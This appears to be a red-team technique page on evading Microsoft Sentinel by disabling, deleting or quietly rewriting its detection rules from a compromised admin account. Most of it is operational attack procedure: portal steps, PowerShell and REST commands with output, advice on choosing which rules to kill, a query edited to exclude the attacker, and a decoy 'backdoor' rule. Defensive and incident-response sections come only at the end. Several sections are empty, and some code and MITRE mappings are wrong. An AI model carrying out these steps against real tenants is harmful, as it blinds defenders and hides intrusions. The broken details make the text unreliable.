MCADDF

[REALWORLD-037]: Sentinel Rule Modification

Metadata

Attribute Details
Technique ID REALWORLD-037
MITRE ATT&CK v18.1 T1562.001 - Disable or Modify Tools
Tactic Defense Evasion
Platforms Entra ID, Microsoft Sentinel
Severity CRITICAL
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions All versions of Microsoft Sentinel
Patched In N/A - Mitigations required at policy level
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: This real-world technique involves modifying, disabling, or deleting existing Microsoft Sentinel detection rules within an Entra ID tenant. An attacker with Global Administrator or Microsoft Sentinel Contributor permissions can alter, clone, or remove analytics rules that are designed to detect malicious activity, thereby creating blind spots in the security operations center (SOC) and enabling further compromise without triggering alarms. This is a high-sophistication defense evasion tactic that directly impairs the organization’s ability to detect ongoing attacks.

Attack Surface: Microsoft Sentinel Analytics Rules API, Entra ID Portal, Azure Management Plane (ARM endpoints), AuditLogs in Entra ID.

Business Impact: Complete loss of visibility into specific attack patterns. An attacker can remove or weaken detection rules covering their post-compromise tradecraft, allowing them to move laterally, exfiltrate data, or establish persistence without triggering security alerts. Real-world APT groups (e.g., Scattered Spider) have disabled detection rules to cover their tracks.

Technical Context: This attack typically takes 2-5 minutes to execute once an attacker has Global Admin access. Detection likelihood is MEDIUM-HIGH if proper audit log monitoring and RBAC controls are in place. However, if the attacker also disables audit logging simultaneously (T1070), detection becomes nearly impossible.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Azure 2.2.2 Ensure that Azure Sentinel is enabled and running with appropriate retention and alerting rules.
DISA STIG SI-4(4) Monitor information system activities for unusual and suspicious activities.
CISA SCuBA SA-4(2) System administrators must have audit trail monitoring for changes to detection and alerting systems.
NIST 800-53 SI-4 System and Communications Protection - Information System Monitoring
GDPR Art. 32 Security of Processing - Organizations must implement technical measures to detect and respond to security incidents.
DORA Art. 9 Protection and Prevention - Entities must have effective monitoring to detect malicious activity.
NIS2 Art. 21 Cyber risk management measures including continuous monitoring and threat detection.
ISO 27001 A.12.4.1 Event logging - Ensure recording of user activities, system events, and security events.
ISO 27005 Risk Scenario: “Compromise of SIEM/Detection System” Loss of visibility into security events and inability to detect threats.

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance

# Connect to Azure
Connect-AzAccount

# Get current user's Sentinel access level
Get-AzRoleAssignment -SignInName (Get-AzContext).Account.Id | Where-Object {$_.RoleDefinitionName -like "*Sentinel*" -or $_.RoleDefinitionName -eq "Owner" -or $_.RoleDefinitionName -eq "Contributor"}

# List all analytics rules in the workspace
Get-AzSentinelAlertRule -ResourceGroupName "YourResourceGroup" -WorkspaceName "YourSentinelWorkspace" | Select-Object Name, Id, Enabled, DisplayName

# Check if a specific rule is enabled
$rule = Get-AzSentinelAlertRule -ResourceGroupName "YourResourceGroup" -WorkspaceName "YourSentinelWorkspace" -RuleName "RuleDisplayName"
$rule.Enabled

What to Look For:

Version Note: PowerShell cmdlets are consistent across Azure versions, but REST API endpoints have evolved. Server 2022+ typically includes PowerShell 7.x; earlier versions use PowerShell 5.x. Both versions support Az.SecurityInsights module.

Azure CLI Reconnaissance

# Login to Azure
az login

# Get list of analytics rules
az sentinel alert-rule list --resource-group YourResourceGroup --workspace-name YourSentinelWorkspace

# Get details of a specific rule
az sentinel alert-rule show --resource-group YourResourceGroup --workspace-name YourSentinelWorkspace --rule-name "RuleName"

# Check current user's role assignments
az role assignment list --assignee $(az account show --query user.name -o tsv)

What to Look For:


4. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1: Disabling/Deleting Rules via Azure Portal (GUI)

Supported Versions: All versions of Entra ID / Sentinel

Step 1: Authenticate to Azure Portal

Objective: Gain authenticated access to the Azure Portal where Sentinel rules are managed.

Command (via Web Browser):

  1. Navigate to https://portal.azure.com
  2. Click Sign in
  3. Enter compromised Global Admin credentials (e.g., from credential stuffing, phishing, or account takeover)
  4. Complete MFA challenge (if enabled and attacker has compromised the MFA device as well)
  5. Upon successful authentication, you will be redirected to the Azure Portal home page

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Navigate to Microsoft Sentinel Analytics Rules

Objective: Access the Sentinel workspace and view the list of active analytics rules.

Manual Steps (Azure Portal GUI):

  1. In the Azure Portal, use the search bar (top center) and search for “Microsoft Sentinel”
  2. Click on the Sentinel workspace you wish to target
  3. In the left navigation pane, under “Configuration”, click “Analytics”
  4. This will load all active and disabled analytics rules
  5. You will see a table with columns: Rule name, Status (Enabled/Disabled), Severity, MITRE Tactic, Last Modified

Expected Output:

What This Means:

OpSec & Evasion:

Step 3: Identify High-Value Rules to Disable

Objective: Determine which rules are most relevant to your post-compromise activities.

High-Value Rules to Target (Examples):

Manual Steps to Identify Relevant Rules:

  1. Use the search field in the Analytics Rules table and search for keywords related to your attack chain (e.g., “privilege”, “lateral movement”, “token”, “admin”)
  2. Click each rule name to view its Rule Logic tab and see what it detects
  3. Review the rule’s Threat Mapping to understand which MITRE techniques it covers
  4. Note the Data Sources required (e.g., AuditLogs, SigninLogs) to understand if the rule will even trigger in your environment

What This Means:

OpSec & Evasion:

Step 4: Disable or Delete the Targeted Rule

Objective: Remove or deactivate the rule so it no longer generates alerts.

Method 4A: Disable the Rule (Preferred for Stealth)

  1. Click on the rule name from the list
  2. The rule details pane will open on the right side
  3. At the top of the pane, click the toggle button (currently showing blue/ON)
  4. The toggle will change to gray/OFF
  5. Click “Save” (if a save button appears)
  6. The rule is now disabled; it will no longer trigger alerts

Expected Output:

What This Means:

OpSec & Evasion:

Method 4B: Delete the Rule (Higher Impact)

  1. Click on the rule name from the list
  2. The rule details pane will open on the right side
  3. At the top-right of the pane, look for a three-dot menu (⋯) or “Delete” button
  4. Click the delete button
  5. A confirmation popup will appear: “Delete this alert rule?”
  6. Click “Yes, delete” to confirm
  7. The rule is immediately removed from the workspace

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Disabling/Modifying Rules via Azure PowerShell

Supported Versions: All Entra ID versions

Step 1: Install and Import Required Modules

Objective: Ensure the Azure PowerShell module with Sentinel support is available on the attacker’s machine.

Command:

# Install or update the Az.SecurityInsights module
Install-Module -Name Az.SecurityInsights -Force -AllowClobber

# Alternatively, if you already have an older version, update it
Update-Module -Name Az.SecurityInsights -Force

# Import the modules
Import-Module Az.Accounts
Import-Module Az.SecurityInsights

Expected Output:

NuGet provider is required to continue. PowerShellGet requires NuGet provider version
'2.8.5.201' or newer to interact with NuGet-based repositories. You should verify
that you have the correct version of the NuGet provider installed.

 
Do you want PowerShellGet to install and import the NuGet provider now? [Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y

Then:

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Script     5.0.0      Az.Accounts                         {Add-AzEnvironment, Clear-AzContext, ...}
Script     1.7.0      Az.SecurityInsights                 {Get-AzSentinelAlertRule, Remove-AzSentinelAlertRule, ...}

What This Means:

OpSec & Evasion:

Version Note:

Step 2: Authenticate to Azure

Objective: Establish authenticated session with Azure using compromised credentials.

Command:

# Method 1: Interactive login (if MFA is disabled or already completed)
Connect-AzAccount

# Method 2: Use a service principal or app registration
$clientId = "00000000-0000-0000-0000-000000000000"  # Application ID
$tenantId = "00000000-0000-0000-0000-000000000000"  # Tenant ID
$clientSecret = "your-secret-value"
$credential = New-Object System.Management.Automation.PSCredential(
    $clientId,
    (ConvertTo-SecureString $clientSecret -AsPlainText -Force)
)
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId

# Method 3: Use device code flow (for MFA scenarios)
Connect-AzAccount -UseDeviceAuthentication

Expected Output:

Account              SubscriptionName                    SubscriptionId                      TenantId                            Environment
-------              ----------------                    --------------                      --------                            -----------
attacker@company.com Default Subscription                12345678-1234-1234-1234-123456789012 xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx AzureCloud

What This Means:

OpSec & Evasion:

Step 3: Disable or Delete a Specific Rule

Objective: Modify the rule configuration to disable detection.

Command (Disable a Rule):

# Set variables
$ResourceGroupName = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
$RuleName = "UserAssignedPrivilegedRole"  # Example rule

# Get the rule
$rule = Get-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -RuleName $RuleName

# Disable the rule by setting the Enabled property to $false
$rule.Enabled = $false

# Update the rule
Update-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -AlertRuleId $rule.Id -Enabled $false

Expected Output:

AlertRuleId          : /subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.OperationalInsights/workspaces/YourSentinelWorkspace/providers/Microsoft.SecurityInsights/alertRules/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Enabled              : False
DisplayName          : User Assigned Privileged Role
Severity             : High
LastModifiedUtc      : 2025-01-10T14:32:15.1234567Z

What This Means:

Command (Delete a Rule):

# Delete the rule
Remove-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -RuleName $RuleName -Force

Expected Output:

(No output if successful; command completes silently)

What This Means:

Troubleshooting:

OpSec & Evasion:

Step 4: Verify the Rule is Disabled/Deleted

Objective: Confirm that the rule is no longer active.

Command:

# List all alert rules and check if the target rule is disabled or missing
Get-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName | Where-Object {$_.DisplayName -eq "User Assigned Privileged Role"}

Expected Output (if disabled):

AlertRuleId   : /subscriptions/.../providers/Microsoft.SecurityInsights/alertRules/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Enabled       : False
DisplayName   : User Assigned Privileged Role

Expected Output (if deleted):

(No output - the rule no longer exists in the list)

What This Means:

References & Proofs:


METHOD 3: Modifying Rules via REST API (Direct HTTP Requests)

Supported Versions: All Entra ID versions

Step 1: Obtain an Access Token

Objective: Acquire an OAuth access token to authenticate REST API requests.

Command (PowerShell):

# Using Az PowerShell context (after Connect-AzAccount)
$token = (Get-AzAccessToken -ResourceUrl "https://management.azure.com").Token

# Or manually via OAuth client credentials
$tenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$clientId = "application-id"
$clientSecret = "application-secret"
$scope = "https://management.azure.com/.default"

$body = @{
    grant_type    = "client_credentials"
    client_id     = $clientId
    client_secret = $clientSecret
    scope         = $scope
}

$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Method POST -Body $body
$token = $response.access_token

Expected Output:

eyJhbGciOiJSUzI1NiIsImtpZCI6IkRFMzAxMjAxQzRCNEQwMDAxODAxRTAxNDAwMDAwMDAwIiwidHlwIjoiSldUIn0.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQveHh4eHh4eHgtanl6ei14eHh4LTEyMzQtNTY3OC14eHh4eHh4eHh4eHgvIiwiaWF0IjoxNjM2NDUyMzQ1LCJuYmYiOjE2MzY0NTIzNDUsImV4cCI6MTYzNjQ1NjI0NSwiYWlvIjoiRTJCQkFLb3dEUWNIR1F4RVhBM0JxVUNpQkRaUSEi
...TRUNCATED...

What This Means:

OpSec & Evasion:

Step 2: Construct the API Request to Disable a Rule

Objective: Build the HTTP request to modify the alert rule.

Command (PowerShell):

# Set variables
$subscriptionId = "12345678-1234-1234-1234-123456789012"
$resourceGroupName = "YourResourceGroup"
$workspaceName = "YourSentinelWorkspace"
$ruleId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"  # Rule GUID from earlier step

# Construct the URI
$uri = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.OperationalInsights/workspaces/$workspaceName/providers/Microsoft.SecurityInsights/alertRules/$ruleId?api-version=2021-10-01"

# Prepare the request headers
$headers = @{
    "Authorization" = "Bearer $token"
    "Content-Type"  = "application/json"
}

# Prepare the request body (disabling the rule)
$body = @{
    kind       = "Scheduled"
    properties = @{
        enabled = $false
        # Include other required properties from the original rule definition
    }
} | ConvertTo-Json -Depth 10

Expected Output: (After execution of the API call below)

StatusCode        : 200
StatusDescription : OK
Content           : {"id":"/subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.OperationalInsights/workspaces/YourSentinelWorkspace/providers/Microsoft.SecurityInsights/alertRules/xxxx","name":"xxxx","type":"Microsoft.SecurityInsights/alertRules","kind":"Scheduled","properties":{"enabled":false,...}}

What This Means:

Step 3: Send the API Request

Objective: Execute the HTTP PATCH request to apply changes.

Command (PowerShell):

# Send the PATCH request
$response = Invoke-RestMethod -Uri $uri -Method PATCH -Headers $headers -Body $body

# Verify the response
$response | ConvertTo-Json -Depth 5

Expected Output:

{
  "id": "/subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.OperationalInsights/workspaces/YourSentinelWorkspace/providers/Microsoft.SecurityInsights/alertRules/xxxx",
  "name": "xxxx-xxxx-xxxx-xxxx-xxxx",
  "type": "Microsoft.SecurityInsights/alertRules",
  "kind": "Scheduled",
  "properties": {
    "enabled": false,
    "displayName": "User Assigned Privileged Role",
    "severity": "High",
    "lastModifiedUtc": "2025-01-10T14:32:15.1234567Z"
  }
}

What This Means:

Troubleshooting:

OpSec & Evasion:

References & Proofs:


METHOD 4: Cloning and Modifying Rules (Create Backdoor Rule)

Supported Versions: All Entra ID versions

Objective: Instead of deleting rules, create a cloned rule with weaker detection logic or permissive conditions that acts as a backdoor.

Step 1: Get the Target Rule’s Configuration

Command (PowerShell):

# Get the rule that you want to clone/weaken
$sourceRule = Get-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -RuleName "Suspicious Privilege Escalation"

# Export the full rule configuration
$ruleConfig = $sourceRule | ConvertTo-Json -Depth 10
Write-Output $ruleConfig

Expected Output:

{
  "AlertRuleId": "/subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.OperationalInsights/workspaces/YourSentinelWorkspace/providers/Microsoft.SecurityInsights/alertRules/xxxx",
  "DisplayName": "Suspicious Privilege Escalation",
  "Enabled": true,
  "Severity": "High",
  "Query": "AuditLogs | where OperationName contains 'Assign role' | where InitiatedBy contains 'admin' | project TimeGenerated, OperationName, Actor=InitiatedBy",
  "QueryFrequency": "PT1H",
  "QueryPeriod": "P1D",
  "TriggerOperator": "GreaterThan",
  "TriggerThreshold": 0,
  "Suppression": false
}

What This Means:

Step 2: Modify the Rule to Exclude Your Attack Pattern

Command (PowerShell):

# Modify the query to exclude your attack pattern
$weakenedQuery = @"
AuditLogs 
| where OperationName contains 'Assign role' 
| where InitiatedBy contains 'admin' 
| where InitiatedBy != 'attacker@company.com'  // ADDED: Exclude attacker
| project TimeGenerated, OperationName, Actor=InitiatedBy
"@

# Update the source rule's query
$sourceRule | Update-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -Query $weakenedQuery

Expected Output:

AlertRuleId          : /subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.OperationalInsights/workspaces/YourSentinelWorkspace/providers/Microsoft.SecurityInsights/alertRules/xxxx
DisplayName          : Suspicious Privilege Escalation
Enabled              : True
Query                : AuditLogs | where OperationName contains 'Assign role' | where InitiatedBy contains 'admin' | where InitiatedBy != 'attacker@company.com' | project TimeGenerated, OperationName, Actor=InitiatedBy

What This Means:

OpSec & Evasion:

Alternative Approach: Create a Completely New Backdoor Rule

# Create a new rule that is intentionally weak
$backdoorRuleParams = @{
    ResourceGroupName = $ResourceGroupName
    WorkspaceName = $WorkspaceName
    DisplayName = "Legitimate Admin Activity"  // Generic name to blend in
    Enabled = $true
    Severity = "Low"
    Query = "AuditLogs | where OperationName contains 'Update' | where CreatedDateTime < ago(90d)"  // Intentionally broad and unlikely to trigger
    QueryFrequency = "PT24H"
    QueryPeriod = "P7D"
    TriggerOperator = "GreaterThan"
    TriggerThreshold = 1000  // High threshold so it rarely triggers
}

New-AzSentinelAlertRule @backdoorRuleParams

References & Proofs:


5. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check who has rule modification permissions
Get-AzRoleAssignment -Scope "/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName" | Where-Object {$_.RoleDefinitionName -like "*Sentinel*" -or $_.RoleDefinitionName -eq "Contributor"}

# Verify RBAC is correctly applied
Get-AzRoleAssignment -Scope "/subscriptions/$subscriptionId" | Select-Object DisplayName, RoleDefinitionName, Scope

Expected Output (If Secure):

DisplayName             RoleDefinitionName              Scope
-----------             ------------------              -----
SOC Admin Team          Microsoft Sentinel Contributor  /subscriptions/xxxx/resourceGroups/YourResourceGroup
Contoso Security Team   Reader                          /subscriptions/xxxx

What to Look For:


6. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Immediately disable the compromised account:
      Update-MgUser -UserId "attacker@company.com" -AccountEnabled:$false
      
    • Immediately revoke all tokens:
      Revoke-MgUserSignInSession -UserId "attacker@company.com"
      
  2. Collect Evidence:
    • Export all AuditLogs for the past 30 days
    • Document the exact time and rule that was modified
    • Identify all rules that were disabled (review Sentinel > Analytics > History)
    • Check if audit logging itself was disabled (check Remove-EventLog in Windows or Purge-AuditLog in PowerShell)
  3. Restore:
    • Re-enable disabled rules:
      # Restore from backup
      Import-Csv "C:\Backups\SentinelRules_2025-01-01.csv" | ForEach-Object {
        Update-AzSentinelAlertRule -ResourceGroupName $ResourceGroupName -WorkspaceName $WorkspaceName -DisplayName $_.DisplayName -Enabled $true
      }
      
    • Restore deleted rules: Import from GitHub Sentinel Content Hub or Microsoft’s default rule library
  4. Investigate:
    • Review what the attacker did BETWEEN the time of rule modification and detection
    • Search for privilege escalation events (role assignments) during the window when detection rules were disabled
    • Check for token theft, lateral movement, or data exfiltration during this period
    • Determine the initial compromise vector (phishing, credential stuffing, etc.)
  5. Escalate:
    • Notify the Security Operations Center (SOC) lead and CISO
    • Initiate incident response procedures
    • File a formal incident ticket
    • Contact forensics team for deep-dive investigation

Step Phase Technique Description
1 Initial Access T1566.002 Phishing Attacker gains initial credentials through phishing email or credential stuffing
2 Privilege Escalation T1078.004 Abuse of Valid Accounts Attacker escalates to Global Admin via PIM or unauthorized role assignment
3 Defense Evasion [REALWORLD-037] Sentinel Rule Modification Attacker disables detection rules to avoid triggering alerts
4 Lateral Movement T1550.001 Application Access Token Attacker uses stolen tokens to access M365, Teams, SharePoint while rules are disabled
5 Persistence T1098.004 Domain Account Shadow Principal Attacker creates a backdoor admin account for future access
6 Exfiltration T1123 Audio Capture Attacker exfils sensitive emails and files from Teams/SharePoint

8. REAL-WORLD EXAMPLES

Example 1: Scattered Spider Campaign (2024-2025)

Example 2: APT28 (Fancy Bear) Azure Campaign (2023)


9. COMPLIANCE & AUDIT FINDINGS

This technique results in failure of the following compliance requirements:

Organizations found to have this vulnerability should document it as a “High” or “Critical” finding and implement compensating controls immediately.